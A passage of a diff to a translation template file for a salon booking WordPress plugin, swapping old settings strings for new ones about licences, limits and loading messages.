build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51\n-msgid \"Users once logged in inside the MY ACCOUNT BOOKING page will be able to see the list of their upcoming reservations and eventually Cancel them. An email notification will be sent to you and to the customers.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:370\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:407\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:370\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:407\n+msgid \"License Type:\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_confirmation.php:14, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:14\n-msgid \"Booking confirmation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:355\n+msgid \"License Usage\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_confirmation.php:19, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_confirmation.php:19\n-msgid \"Select this option to manually confirm each booking.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:79\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:79\n+msgid \"Limit access to assigned bookings only\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:16\n-msgid \"Change order\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:100\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:100\n+msgid \"Limit access to back-end calendar only\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_form_steps_alt_order.php:21\n-msgid \"Selecting this option the booking process will follow this order: A - Services B - Assistants C - Date\u002FTime\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213\n+msgid \"Limit number of no-show bookings to return.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_holiday_rules.php:10, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:10\n-msgid \"Set one or more rules for your holidays.\u003Cbr \u002F> Users will not be able to make reservation during these periods\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:117\n+msgid \"Limit of at-risk customers to return.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_holiday_rules.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_holiday_rules.php:39\n-msgid \"Add new\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability.php:1185\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FAvailability\u002FErrorHelper.php:12\n+msgid \"Limit of parallels bookings at \"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n-msgid \"Nested bookings using service break\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:46\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:46\n+msgid \"Limit reservations to the following services\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:9\n-msgid \"Allow new bookings to start during service break periods.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:139\n+msgid \"Limit results.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:21\n-msgid \"Nested Bookings Feature\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:90\n+msgid \"Limit this discount to the assistants\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:25, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:25\n-msgid \"Nested bookings ON\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:71\n+msgid \"Limit this discount to the following services\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:26, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:26\n-msgid \"Nested bookings OFF\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:110\n+msgid \"Limit this discount to the following shops\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:32\n-msgid \"When enabled, customers can book services that start during another service's break period. This applies to all services that have a break time configured.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186\n+msgid \"Limit top customers.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:35\n-msgid \"Example:\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_general_bot_protection.php:177\n+msgid \"\"\n+\"Limits booking attempts to 5 per 5 minutes per IP address. Recommended for \"\n+\"all sites.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_nested_bookings.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_nested_bookings.php:36\n-msgid \"Service A: 16:00-18:00 with break at 17:00-17:30. With nested bookings enabled, Service B can start at 17:00 or 17:10, etc.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:160\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:160\n+msgid \"List view off\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_offset.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:16\n-msgid \"Enable offset\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fbooking.php:159\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:159\n+msgid \"List view on\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_offset.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:17\n-msgid \"Select this option to add an OFF interval between two sequencial reservations\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:223\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:71\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:178\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:223\n+msgid \"loading\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_offset.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:21\n-msgid \"Offset duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:412\n+msgid \"Loading available versions...\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_offset.php:57, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:57\n-msgid \"How many minutes lasts this Offset?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:107\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:107\n+msgid \"Loading dashboard data...\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_offset.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_offset.php:60\n-msgid \"Note that during the Offset interval new reservations will not be available.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:198\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:198\n+msgid \"Loading heatmap...\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_rescheduling.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:16, 